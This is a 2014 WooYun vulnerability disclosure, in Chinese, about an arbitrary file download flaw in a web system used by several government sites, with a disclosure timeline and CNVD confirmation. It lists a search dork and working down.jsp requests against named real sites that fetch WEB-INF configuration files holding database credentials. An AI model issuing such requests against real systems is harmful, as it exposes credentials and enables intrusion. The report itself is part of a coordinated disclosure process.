某通用型系统任意文件下载

漏洞详情

披露状态:

2014-03-17: 细节已通知厂商并且等待厂商处理中
2014-03-23: 厂商已经确认,细节仅向厂商公开
2014-04-02: 细节向核心白帽子及相关领域专家公开
2014-04-12: 细节向普通白帽子公开
2014-04-22: 细节向实习白帽子公开
2014-05-01: 细节向公众公开

简要描述:

0.0

详细说明:

晚上无聊,翻了翻之前的漏洞,

WooYun: 通用型程序漏洞导致多个政府网站沦陷

看到该系统,随便找了几个例子,

发现该系统存在任意文件下载漏洞

漏洞证明:

inurl:web!getTitleGo.action (这里暂不提struts2的漏洞)



随便找几个站点

测试下载 /WEB-INF/web.xml 及 /WEB-INF/applicationContext.xml(数据库连接文件)

http://www.jcjjjc.gov.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=
http://www.jcjjjc.gov.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=

http://www.jqlzw.com.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=
http://www.jqlzw.com.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=

http://www.blsxzfw.gov.cn/common/down.jsp?filepath=\WEB-INF\applicationContext.xml&filename=
http://www.blsxzfw.gov.cn/common/down.jsp?filepath=\WEB-INF\web.xml&filename=

……

修复方案:

大都为sa权限,如果数据库服务器是外网的话,是否可以……还是比较危险吧。

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-03-23 20:48

厂商回复:

CNVD确认并复现所述多个实例情况,除转发给对应CNCERT分中心处置外,另由CNCERT向监察部信息中心通报。

最新状态:

暂无


漏洞评价: